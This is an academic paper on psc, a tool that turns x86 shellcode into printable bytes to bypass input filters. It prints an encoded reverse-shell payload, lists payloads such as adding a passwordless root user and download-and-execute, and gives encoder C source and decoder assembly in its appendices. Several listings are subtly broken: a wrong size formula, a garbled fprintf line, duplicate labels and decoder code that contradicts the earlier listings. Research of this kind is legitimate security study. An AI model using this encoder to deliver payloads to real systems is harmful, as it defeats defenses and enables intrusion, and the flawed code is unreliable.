Automatic Generation of Compact Printable Shellcodes for x86

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Abstract

Shellcode is a sequence of executable instruction(s) that can be used to exploit vulnerable processes by injecting it into a processes address space. A typical shellcode comprises of printable (ex. ‘a’, ‘{’, ‘/’, etc) and non-printable bytes (ex. DEL, INS, etc). A way to inject these shellcodes into a processes address space is by leveraging a buffer overflow exploit. However defensive filters will drop non-printable bytes from program inputs, thereby rendering the shellcode exploit useless. In order to bypass these defensive filters, shellcodes with only printable characters can be used. However it is a non-trivial task to write printable shellcodes. For this reason researchers have come up with tools to convert arbitrary shellcodes into functionally equivalent printable shellcodes. One of the popular tools is based on the Riley Eller algorithm. One drawback of this algorithm is that the resultant shellcode is much larger than the original shellcode. In this paper we present a new encoding scheme which produces a much more compact (about ~40% smaller) printable shellcode as compared to the Riley Eller algorithm.

1 Introduction

A shellcode is a stream of executable assembly instructions. These instructions are specific to a given architecture and are typically carriers of exploits which can be injected into vulnerable programs. The injection can happen due to vulnerabilities such as buffer overflows [15].

The range of byte values used by an arbitrary shellcode is 0x00 − 0xFF. This range includes both printable and non-printable (binary) bytes. A common defense to protect against shellcode injection is to drop non-printable bytes from an input string when only printable bytes are expected. Some examples of such input include name, email address, phone number, etc.

The range of printable characters is 0x21 − 0x7E. A general piece of executable code will contain a mix of printable and binary bytes. On x86 systems, the printable bytes1 form [10, 16,18] a Turing complete instruction set. However to construct a shellcode (or executable byte sequence) with only printable bytes is a non-trivial task.

A well-known method to convert x86 shellcodes into printable bytes was developed by Riley Eller [12]. This method (also called the “SUB encoder”) is used in the pen testing tool - Metasploit [1]. The “SUB encoder” uses SUB, AND, PUSH, and POP instructions to convert (or encode) any arbitrary shellcode into printable shellcode2. A significant drawback of the “SUB encoder” is the larger size of the printable shellcode produced as compared to the input shellcode. Every four bytes of the original shellcode are encoded into three SUB instructions and one PUSH instruction - representing a total of 16 bytes. Hence the final printable shellcode is four times the size of the original shellcode (see §5.2).

Another method to produce printable shellcodes was developed by Zsolt Geczi and Peter Ivanyi. They created a compiler that takes an arbitrary shellcode as input and returns a printable shellcode with equivalent functionality as output [13]. Their compiler is not publicly available but their paper describes their methodology (see §2.2). Their approach also results in a significantly larger printable shellcode as compared to the original shellcode.

In this paper we present a new encoding scheme and a companion tool to generate compact printable shellcode. One of the main distinguishing features of our tool (as compared to other printable shellcode generators) is the use of a runtime looped decoder similar to [10, 18]. Every two consecutive bytes are encoded into three printable bytes. At runtime, a decoding loop takes these three successive bytes and transforms them back into the two bytes of the original shellcode. The advantage of this new method is the smaller size of the printable shellcode as compared to the existing approaches of the “SUB encoder” as well as the instruction replacement

1Actually only alphanumeric bytes (which an even smaller subset printable bytes) are sufficient to form a Turing complete instruction set

2We refer to shellcodes containing only printable bytes as “printable shellcodes”
scheme of Geczi and Ivanyi.

Other tools exist to convert arbitrary shellcodes into alphanumeric shellcodes such as the Rix compiler [16], Alpha Freedom compiler [10] and Jan Wever’s ALPHA3 compiler [17,18]. The alphanumeric byte range (0x30-0x39, 0x41-0x5A, and 0x61-7A) is a subset of the printable byte range (0x21-0x7E). Hence all alphanumeric shellcodes are also printable. However we can produce smaller shellcodes, if we leverage the entire printable byte range instead of just the alphanumeric byte range. Our new scheme takes this aspect into consideration.

Researchers have also demonstrated how to convert binary shellcodes to English sentences [14] that are valid x86 code. Ding et al. [11] have demonstrated automatic construction of a printable return-oriented programing payload. However these result in much larger shellcode size. Our goal on the other hand is to produce shorter, but valid printable shellcode.

Our research contributions are as follows.
- Develop a new encoding scheme to produce more compact printable shellcodes as compared to existing methods.
- Develop a companion tool (called psc) to demonstrate the real world use of the new encoding scheme and perform relevant evaluations (refer to §5.2).
- Make the tool available for public use.

The rest of this paper is organized as follows. Section 2 discusses the existing methods for generating printable shellcodes. Section 3 describes our new encoding scheme. Section 4 presents the implementation details of the companion tool psc. Sections 5 details the correctness and performance evaluation of psc. We conclude in section 6.

## 2 Related Work

In this section, we briefly describe the existing methods for converting arbitrary shellcodes to printable shellcodes. The first method uses arithmetic and stack operations to encode byte sequences. In the second method, every non-printable instruction is replaced with a sequence of printable instruction(s).

### 2.1 Riley Eller Algorithm

This method is described in detail in Riley Eller’s article [12]. It is based on the following observation: “Any dword (4 bytes) can be derived from two or three SUB instructions whose operands are printable bytes”. We refer to this method as SUB encoding. This method creates the original shellcode on the stack using SUB and PUSH instructions.

Let’s say we want to derive the last four bytes of the classic shellcode: `execv /bin/sh`. The corresponding byte sequence is 0x89e3cd80. We use register EAX because this makes the SUB instruction’s opcode and register encoding printable. The value of EAX is initially set to zero.

**Listing 1: SUB Encoding**

```
# Each of the constants below are within the printable range 0x21-0x7E.
sub $0x256d6d2d, %eax
sub $0x256d6d25, %eax
sub $0x34574225, %eax
push %eax
```

Because EAX is originally set to zero, after the first subtraction the value in EAX is 0xda9292d3. After the second subtraction the value in EAX is 0xb52525ae and finally after the last subtraction, the value in EAX is 0x80cde389. EAX now contains 0x80cde389 and when we push the value onto the stack, it gets stored in the little-endian format. Hence the byte sequence on the stack becomes 0x89e3cd80. We have now successfully recovered the last four bytes of the original shellcode.

### 2.2 Source to Source Conversion

Geczi and Ivanyi [13] take a different approach to convert any arbitrary shellcode into printable shellcode. They replace all non-printable instructions with a sequence of printable instructions. To do this, they wrote a compiler that takes assembly code as input and produces assembly code as output. Assembling the output code enjoys the following properties:

1. It is functionally equivalent to the input code, and
2. When the output code is assembled, the executable code produced contains only printable byte sequences.

#### 2.2.1 Example code fragments

1. There are multiple ways to set register values to zero using printable byte sequences. We list one such approach in Listing 2.

**Listing 2: Set EAX to zero**

```
push $0x46464646
pop %eax
xor $0x46464646, %eax
```

2. The MOV instruction can be used to copy data from one register to another register, or copy a 32-bit constant value to a register. The binary encoding of this instruction with such operands is not printable. An alternative way to do this copy operation is via PUSH and POP instructions as listed below.
3 Proposed Algorithms

3.1 Encoding Algorithm

We encode two successive bytes of the original shellcode into three successive printable bytes. The algorithm to achieve this transformation is described below.

1. If the size of the original shellcode is odd, then append byte 0x90 (nop instruction).
2. Now take 2 successive bytes (or 16 bits) of the original shellcode. Let the bits be $b_0$ through $b_{15}$, where $b_0$ and $b_8$ are the most significant bits of the first and second bytes respectively.
3. Using the bits $b_0 - b_{15}$, set the following immediate (IMM) bytes:
   - IMM byte #1 = 0, 0, 0, 0, $b_0$, $b_1$, $b_2$, $b_3$
   - IMM byte #2 = 0, 0, $b_4$, $b_5$, $b_6$, $b_7$, $b_8$, $b_9$
   - IMM byte #3 = 0, 0, $b_{10}$, $b_{11}$, $b_{12}$, $b_{13}$, $b_{14}$, $b_{15}$
4. Add 0x3F to all the IMM bytes of the above step. The resultant bytes form the encoded output.
5. Repeat steps (2) to (4) for all bytes of the encoded shellcode.
6. Append 0x26 (or ‘&’) to the output which serves as an end marker (explained below).

   By construction, the minimum possible value of any IMM byte is 0x00 and the maximum possible value is 0x3F (when all the last six bits are set to 1). Hence the range of any IMM byte is 0x00 – 0x3F.

   After adding 0x3F to the IMM bytes, the new range becomes 0x3F – 0x7E. This new range is a subset of the ASCII printable range of 0x21 – 0x7E. Hence we are guaranteed to convert all the bytes of the original shellcode to printable bytes.

   The purpose of the end marker is to indicate the end of input. We can choose any character between 0x21 – 0x3E as an end marker because this range does not overlap with the encoded output range of 0x3F – 0x7E. For our tool, we choose 0x26 (or ‘&’) as the end marker.

3.2 Decoding Algorithm

We read three consecutive printable shellcode bytes and decode them into two consecutive bytes. The algorithm to achieve this is described below. We will use the C bitwise operations: ≪ (left shift), & (and) , and ≫ (right shift).

1. Read three consecutive bytes of the encoded shellcode. Let these be $B_1$, $B_2$ and $B_3$.
2. If $B_1$ = 0x26, then the original shellcode has been completely recovered. Go to step (6).
3. Let $R_1$ and $R_2$ be the decoded shellcode bytes. These bytes are computed from the encoded bytes as follows.
   - $R_1 = (B_1 \ll 4) + ((B_2 \& 0x3f) \gg 2)$
   - $R_2 = (B_2 \ll 6) + (B_3 \& 0x3f)$
4. Write $R_1$ and $R_2$ to the memory location of the recovered shellcode.
5. Increment the (read) pointer to the memory location of the encoded shellcode by 3.
6. Repeat steps (1) to (4) for all bytes of the encoded shellcode.
7. Jump to the start of the decoded shellcode.

3.3 Analysis

Let $n$ be the size of the original shellcode. Then the following formula represents the size of the encoded shellcode (in bytes).

$$\text{size of encoded} = \begin{cases} \frac{1}{2} n + 1, & \text{if } n \text{ is even} \\ \frac{1}{2} (n + 1) + 1, & \text{if } n \text{ is odd} \end{cases}$$

We replace every byte pair of the original shellcode with three printable bytes. Hence we multiply $n$ with $\frac{3}{2}$. If $n$ is odd, then to create a pair from the last byte of the original shellcode, we add a NOP instruction. This is why we use $(n + 1)$ when $n$ is odd. Finally, we add 1 to account for the end marker.

Note that the final shellcode will also have the decoder loop prepended to the encoded shellcode; thereby increasing its size.
3.4 Example

The printable shellcode version of *opening a reverse bash shell on TCP port 4444* is as follows:

```
'PYj0X40HP[j0X0Y50AO0YO0Y '0
Aa0Ya0Ab0Yo10AO0Yj0A0K0Ym0Y70A0Y0A0Y0Y
\=0Y>0 YGQZOyI &t< j0X40P [2 YIC ?,42AJ@$ <?'20'
wBIj0X40P [2 YJC2AK@ ?,6$?0' wBJBBAAuAa5he4 'i/
DZ2Fu4XR5gA7f ';u?4} V8Mo5XU5Xg /Sx5XR7f '5
gO4DV7f ';u?:@e:KC4XV7f ';u?: @e3LU4XV7f ';u?4dX
:CA8Mo2-L7@E6fx:J5_m1|r5'g1|a3dm7fb3EH; jL7A0&
```

4 Printable Shellcode Compiler

Printable Shellcode Compiler (or *psc*) is comprised of an *encoder* and a printable run-time *decoder*. The *encoder* converts a given shellcode into printable form using the encoding algorithm presented in §3.1. The encoded shellcode (which is printable) cannot be executed directly. At run-time, before the resultant encoded shellcode can be executed, it needs to be decoded. For this purpose, a *decoder* is prepended to the encoded shellcode. This forms the entire printable shellcode emitted by *psc*.

When the printable shellcode is executed, the decoder iterates over the encoded shellcode and recovers the original shellcode. Once the original shellcode is completely recovered, the control jumps to the recovered shellcode.

For the encoding process, we wrote a C program (Appendix A lists the source code) that takes an arbitrary shellcode as input and prints out the printable encoded shellcode on the console. Now a bash script prepends this encoded shellcode with a custom xor patcher and the runtime decoder to obtain the final printable shellcode.

The encoded shellcode is then prepended with the decoder to obtain the final printable shellcode. The final layout of the printable shellcode is shown in figure 1.

The decoder is handwritten in x86 assembly. The decoder recovers the original shellcode by undoing all the transformations performed by the encoder. The instrumentation is described in the following section.

The decoder code contains a few non-printable bytes. We encode these non-printable bytes using the xor patching technique illustrated in [16]. More details are presented in §4.2.

GNU’s Portable Assembler (*as*) is used to assemble the decoder and generate the executable binary. The total size of the decoder (including the custom xor patcher) is 146 bytes. The decoder is independent of the input shellcode.

4.1 Decoder Implementation

The flowchart in Figure 2 describes the execution flow of the decoder. The initialization involves setting up the registers ECX and EDX. Register ECX points to the encoded shellcode and register EDX points to the memory where the recovered shellcode is written. In the loop body, three consecutive bytes are read from the encoded shellcode. Next, the decoding process (refer §3.2) transforms these three bytes into two bytes which are part of the recovered shellcode. These two recovered shellcode bytes are then written to memory pointed by EDX. This continues till the end mark (‘&’) is read from memory pointed to by ECX. Once the end mark is encountered, the control jumps to the recovered shellcode.

The entire decoder assembly is listed in Appendix B. The rest of this section describes the important features of the decoder.

---

**Figure 1: Layout of Printable Shellcode**

**Figure 2: Execution Flow of Decoder**
Listing 5: Initialization

```assembly
# eax contains starting address of shellcode
push %eax
pop %ecx

# set ecx = ecx + 0x49
leal 0x49(%ecx), %ecx

# edx = ecx
push %ecx
pop %edx
```

During initialization, registers ECX and EDX are set to the appropriate memory locations. It is assumed that the beginning address of the encoded shellcode is present in register EAX. Register EAX is used to derive the value of ECX and EDX. The encoded shellcode starts after 73 bytes (or 0x49 bytes) from the current instruction. Hence register ECX is initialized to EAX + 0x49. The recovered shellcode is smaller than the encoded shellcode because three consecutive bytes get decoded into two consecutive bytes. Hence after decoding three bytes of the encoded shellcode, we replace the first two bytes with the recovered bytes. This means that we effectively overwrite the encoded shellcode which has already been decoded.

Listing 6: Loop Condition

```assembly
# if byte == &, then end of shellcode
# else execute next instruction
cmpb $0x26 , 0x49(%ecx)
je end_of_payload
```

The loop body performs the actual decoding process. After every iteration, the current encoded byte is checked for the end mark ('&'). If the end mark is read, then the control jumps to the end of the payload because the payload has been successfully decoded. Otherwise the loop continues with the next iteration.

Listing 7: First Byte Recovery

```assembly
# Read first byte
xorb 0x49(%ecx), %bl

# Recover first 4 bits
inc %ebx
shlb $4, %bl

# Read second byte
xorb 0x4a(%ecx), %al

# Recover last 6 bits
inc %eax
andb $0x3f, %al
xorb %bl, %al
```

After the current pair of bytes is successfully decoded, the read (ECX) and write (EDX) pointers are incremented and the control transfers to the beginning of the loop.

Listing 8: Second Byte Recovery

```assembly
# Read second byte
xorb 0x4a(%ecx), %bl

# Recover first 2 bits
inc %ebx
shlb $6, %bl

# Read third byte
xorb 0x4b(%ecx), %al

# Recover last 6 bits
inc %eax
andb $0x3f, %al
xorb %bl, %al

# Put recover byte back in memory
mov %al, 0x49(%edx)
```

Again EAX and EBX registers are set to zero. Subsequently the second and third bytes are loaded into the BL and AL registers respectively. These values are used to recover the second byte of the original shellcode. Again this value is written back to memory using the EDX register.

Listing 9: Update Read and Write Pointers

```assembly
# Increment ecx and edx
inc %ecx
inc %ecx
inc %ecx
inc %edx
inc %edx

# Jump start of loop
jne loop
```

After the current pair of bytes is successfully decoded, the read (ECX) and write (EDX) pointers are incremented and the control transfers to the beginning of the loop.

---

4 If the starting address is present is another register, then the code can be appropriately modified.

5 This is omitted from the listed code fragment to avoid repetition. Refer to Listing 2.

6 This is omitted from the listed code fragment to avoid repetition. Refer to Listing 2.
4.2 Making the Decoder Printable

Not every instruction of the decoder loop is printable. So in order to make all bytes printable, we use a custom XOR patcher based on the ideas of Rix [16]. The XOR patcher replaces every non-alphanumeric byte in the decoder loop with an alphanumeric byte\(^7\) and emits an alphanumeric XOR instruction to patch (or recover) the replaced byte at runtime. The idea behind the XOR patcher algorithm is described below.

1. If byte B is printable, then skip the byte.
2. If byte B is less than 0x80 and non-printable, then find a and b such that \(a \oplus b = B\) and a & b are printable bytes. Byte B is replaced with one of a or b and the other byte is used in the XOR instruction to recover the original byte at run time. This XOR instruction is placed at the start of the decoding loop.
3. If byte B is greater than 0x80 and \(\neg B\) is printable, then replace B with \(\neg B\). Now note that \(\neg B = 0xff \oplus B\). Hence we can again use XOR instruction to recover B at runtime.
4. If byte B is greater than 0x80 and \(\neg B\) is not printable, then \(\neg B\) is less than 0x80. Now we use step (2) to patch the byte (i.e. \(\neg B\)) using XOR instructions. Next we use step (3) to perform NOT on the the recovered byte.

The entire printable decoder code is listed in Appendix B. As discussed in this section, the printable decoder code starts off by initializing the required registers. After initialization, the XOR patcher takes over and recovers the decoder loop. Now the decoder loop runs and recovers the original shellcode. Once the original shellcode is completely recovered, the control is transferred over to the recovered shellcode and the exploit payload runs.

5 Evaluation

5.1 Correctness

When we run the printable shellcode, the decoder runs first and it recovers the original shellcode. After recovering the shellcode, the decoder transfers the control over to the recovered shellcode. To test the correctness of the printable shellcode we need to verify the recovered shellcode. The verification entails performing a byte by byte comparison of the original shellcode with the recovered shellcode. Hence a successful verification means that the recovered shellcode exactly matches the original shellcode.

In order to test this, once the shellcode is recovered we jump to a small verification routine instead of performing a jump to the recovered shellcode. This verification routine sends a SIGTERM signal to itself (the same process). Next a signal handler runs which is aware of the location of the original shellcode and the recovered shellcode. The signal handler performs the byte-by-byte comparison to verify the shellcode recovery. In case of a mismatch between the original shellcode and recovered shellcode, the signal handler prints the mismatched bytes on the console.

Listing 10: Invoking Signal Handler

```
_start:
  # pid = getpid()
  xor %eax, %eax
  movb $20 , %al
  int $0x80
  # kill(pid, SIGTERM)
  push %eax
  pop %ebx
  xor %eax, %eax
  xor %ecx, %ecx
  mov $37 , %al
  mov $15 , %cl
  int $0x80
```

Listing 11 shows the code that is executed after recovery of the shellcode. This code first issues a syscall to retrieve the pid of the current process. Next the kill syscall is issued to send a SIGTERM to the retrieved pid. After executing this code at run time, the control transfers to the signal handler which in turn performs the shellcode verification.

Listing 11: C Signal Handler

```
/* size of runtime decoder + signal handler invoker */
#define E 164

void handler_function()
{
  int i, j;
  for(i = 0, j = E; i < n-1; i++, j++)
    if(original[i] != shellcode[j])
      printf("Byte Num %d = %d\n", i,
        original[i]);
      exit(0);
}
```

Listing 11 shows the signal handler used to verify the correctness of the recovered shellcode. The arrays original and shellcode point to the original shellcode (in binary form) and its printable shellcode form respectively.

5.2 Performance

Table 1 compares the encoding performance of Riley Eller SUB Encoder and psc. psc has better encoding performance in each case because the size of encoded shellcode is smaller.

\(^7\)Note that alphanumeric byte set is a subset of the printable byte set.
The shellcodes have been taken from a publicly available database [6]. Note that to actually run these shellcodes, we need to prepend the decoder loop. Table 2 does this (or total shellcode size) comparison.

The size of the decoder for SUB Encoder and psc are 29 and 146 respectively. Let the size of the original shellcode be \( n \). Then output shellcode size (total) under SUB Encoding scheme is given by \( 29 + 16\lceil n/4 \rceil \). Also as mentioned in §3.3, the output size under psc is given by \( 146 + 3\lceil n/2 \rceil \).

For smaller shellcodes (\( n < 45 \)), SUB encoding scheme produces the most compact printable shellcode. However for larger shellcodes (\( n > 45 \)), psc produces more compact shellcodes. When the original shellcode size, \( n > 200 \), psc yields about 40% – 50% smaller printable shellcode (in terms of size) than the SUB Encoding method.

Comparing psc with alphanumeric shellcode generators such as Jan Wever’s ALPHA3 [17,18], psc is again more competitive for larger shellcodes (\( n > 236 \)). ALPHA3 requires two bytes to encode every byte of the original shellcode. On the other hand psc requires only one and a half bytes to encode every byte. This results in half a byte worth of savings for every byte in the original shellcode when using psc. However the runtime decoder of ALPHA3 is only 28 bytes long. Hence for shorter shellcodes (\( n < 236 \)), ALPHA3 produces more compact shellcodes\(^8\). Note that by definition all alphanumeric shellcodes are also printable.

Table 1: Encoding Performance (in bytes)

<table>
<thead>
<tr>
<th>Shellcode</th>
<th>Orig.</th>
<th>SUB Enc.</th>
<th>psc</th>
</tr>
</thead>
<tbody>
<tr>
<td>execve /bin/sh [8]</td>
<td>20</td>
<td>80</td>
<td>31</td>
</tr>
<tr>
<td>add root user no-password to /etc/passwd and exit() [2]</td>
<td>83</td>
<td>326</td>
<td>127</td>
</tr>
<tr>
<td>copy /etc/passwd to /tmp/outfile [5]</td>
<td>97</td>
<td>350</td>
<td>148</td>
</tr>
<tr>
<td>bind 4444/TCP to shell (/bin/bash) [9]</td>
<td>100</td>
<td>395</td>
<td>151</td>
</tr>
<tr>
<td>download file and execute it [7]</td>
<td>135</td>
<td>534</td>
<td>205</td>
</tr>
<tr>
<td>fork HTTP Server on port 8800/TCP</td>
<td>166</td>
<td>632</td>
<td>250</td>
</tr>
<tr>
<td>reverse shell (localhost:8080/TCP) over SSL</td>
<td>422</td>
<td>1686</td>
<td>634</td>
</tr>
</tbody>
</table>

6 Conclusion

Currently the Riley Eller Algorithm (SUB Encoder) or the Source to Source Conversion algorithm can be used to generate printable shellcodes. Of the two, the SUB Encoder produces the most compact printable shellcodes. In this paper, we present a new encoding algorithm that uses looped decoding to reduce the size of these auto-generated printable shellcodes. Our algorithm encodes two successive bytes of the original shellcode into three printable shellcode bytes. However this compact representation increases the complexity of the decoding algorithm, thereby increasing the decoder code size. However unlike the existing algorithms, our decoder loops over the printable shellcode and hence this increased decoder size gets amortized over the size of the entire shellcode. Results shows that we produce about 40% – 50% smaller printable shellcodes as compared to the SUB encoder (better of the two existing algorithms). In addition we also present a companion tool psc to demonstrate the real world feasibility of our algorithm. Appendices A and B list the source code of our tool. As part of future work, we intend to extend psc and add support for 64-bit architecture (x86_64).

Acknowledgements

We would like to thank the reviewers for their valuable insights and feedback.

Availability

psc, its related scripts, and tutorials can be found at https://github.com/dhrumil29699/Printable-Encoder/.

References


# Encoder

encoder.c implements the encoding algorithm mentioned in §3.1. The source code of encoder.c is listed below:

```c
#include<stdio.h>
#include<string.h>

int main(int argc, char **argv)
{
    if(argc != 2)
    {
        fprintf(stderr, "./encoder ".oxicd0x80.."(Shellcode)"
    }
    int n = strlen(argv[1])/4;
    int k = n;
    n = n + n%2;
    int e_n = ((3*n)/2)/2;
    unsigned char encoded[e_n];
    char temp[4];
    int i,j;
    j = 0;
    char end = 0x26; // & characeter at the end of shellcode
    for(i = 0; i < n; i++)
    {
        temp[0] = argv[1][4*i+2];
        temp[1] = argv[1][4*i+3];
        i++;
        if(i == k) // Adding NOP instruction if needed
        {
            temp[2] = '9';
            temp[3] = '0';
        }
        else
        {
            temp[2] = argv[1][4*i+2];
            temp[3] = argv[1][4*i+3];
        }
        unsigned int x = strtoul(temp,0,16); // converting string to int base 16
        unsigned int c = (0x3f & x) + 0x3F;
        unsigned int b = ((x >> 6) & 0x3f) + 0x3F;
        unsigned int a = ((x >> 12) & 0xf) + 0x3F;
        encoded[3*j] = a;
        encoded[3*j+1] = b;
        encoded[3*j+2] = c;
        j++;
    }
    encoded[3*j] = end;
    encoded[e_n-1] = '\0';
    printf("%s\n",encoded);
    return 0;
}
```

# Decoder

decoder.asm implements the decoding algorithm mentioned in §3.2. The source code of decoder.asm is listed below:

```
.text
.global anchor
initializer:
```
# Set %eax value zero and %ecx beginning of shellcode

pusha
push %eax
pop %ecx
push $0x30
pop %eax
xor %eax, %al
dec %eax
push %eax
pop %ebx

xor_patcher:
push $0x30
pop %eax
xorb %bl, 0x35 (%ecx) # 0x72 -> 0x8D
xorb %al, 0x4f (%ecx)  # 0x4F ^0x30 -> 0x7F
xorb %bl, 0x4f (%ecx)  # 0x7F -> 0x80
xorb %al, 0x60 (%ecx)  # 0x3F -> 0xC0
xorb %al, 0x61 (%ecx)  # 0x30^0x2C -> 0x1C
xorb %bl, 0x61 (%ecx)  # 0x1C -> 0xE3
xorb %al, 0x62 (%ecx)  # 0x30^0x34 -> 0x04
xorb %bl, 0x69 (%ecx)  # 0x3F -> 0xC0
xorb %al, 0x6a (%ecx)  # 0x30^0x27 -> 0x17
xorb %bl, 0x6a (%ecx)  # 0x17 -> 0xE8
xorb %al, 0x6b (%ecx)  # 0x30^0x32 -> 0x02
xorb %bl, 0x6d (%ecx)  # 0x27 -> 0xD8
xorb %bl, 0x6e (%ecx)  # 0x77 -> 0x88

anchor:
# Set %ecx = %ecx + 0x49
.byte 0x72 # leal 0x49(%ecx), %ecx
.byte 0x49
.byte 0x49
# Xor patcher
xorb %bl, 0x37 (%ecx)  # 0x72 -> 0x8D
xorb %al, 0x38 (%ecx)  # 0x4F ^0x30 -> 0x7F
xorb %bl, 0x38 (%ecx)  # 0x7F -> 0x80
xorb %al, 0x39 (%ecx)  # 0x3F -> 0xC0
xorb %al, 0x3d (%ecx)  # 0x30^0x2C -> 0x1C
xorb %bl, 0x3d (%ecx)  # 0x1C -> 0xE3
xorb %al, 0x3e (%ecx)  # 0x30^0x34 -> 0x04
xorb %bl, 0x3e (%ecx)  # 0x3F -> 0xC0
xorb %bl, 0x47 (%ecx)  # 0x30^0x27 -> 0x17
xorb %bl, 0x47 (%ecx)  # 0x17 -> 0xE8
anchor:
# Set %edx = %ecx
push %ecx
pop %edx

loop:
# compare %ecx value with & character if same then transfer control to end of shellcode
.byte 0x4F # cmpb $0x26, 0x49(%ecx)
.byte 0x79
.byte 0x49
.byte 0x26
je end_of_payload

# Set %eax and %ebx value 0
push $0x30
pop %eax
xor %eax, %al
push %eax
pop %ebx

# take 2 bytes in %al and %bl
xorb 0x49(%ecx),%bl
inc %ebx
.byte 0x3F  #shlb $4,%bl
.byte 0x2C
.byte 0x34
xorb 0x4a(%ecx),%al
inc %eax
andb $0x3C,%al

# recover first byte of shellcode from 2 bytes
.byte 0x3F  #shr $2,%al
.byte 0x27
.byte 0x32
.byte 0x30  #xorb %bl,%al
.byte 0x27
.byte 0x77  #mov %al,0x49(%edx)
.byte 0x42
.byte 0x49

# Set eax and ebx value 0
push $0x30
pop %eax
xor $0x30,%al
push %eax
pop %ebx

# take 2 bytes in al and bl
xor 0x49(%ecx),%bl
inc %ebx
xor 0x4a(%ecx),%al
inc %eax

# recover second byte of shellcode from 2 bytes
.byte 0x3F  #shlb $6,%bl
.byte 0x2C
.byte 0x36
andb $0x3F,%al
.byte 0x30  #xorb %bl,%al
.byte 0x27
.byte 0x77  #mov %al,0x4a(%edx)
.byte 0x42
.byte 0x49

# increment ecx(get) by and edx(set) by 2
inc %edx
inc %edx
inc %ecx
inc %ecx
inc %ecx

# jump start at loop
.byte 0x75  #jne loop
.byte 0x41
end_of_payload:
.popa
end: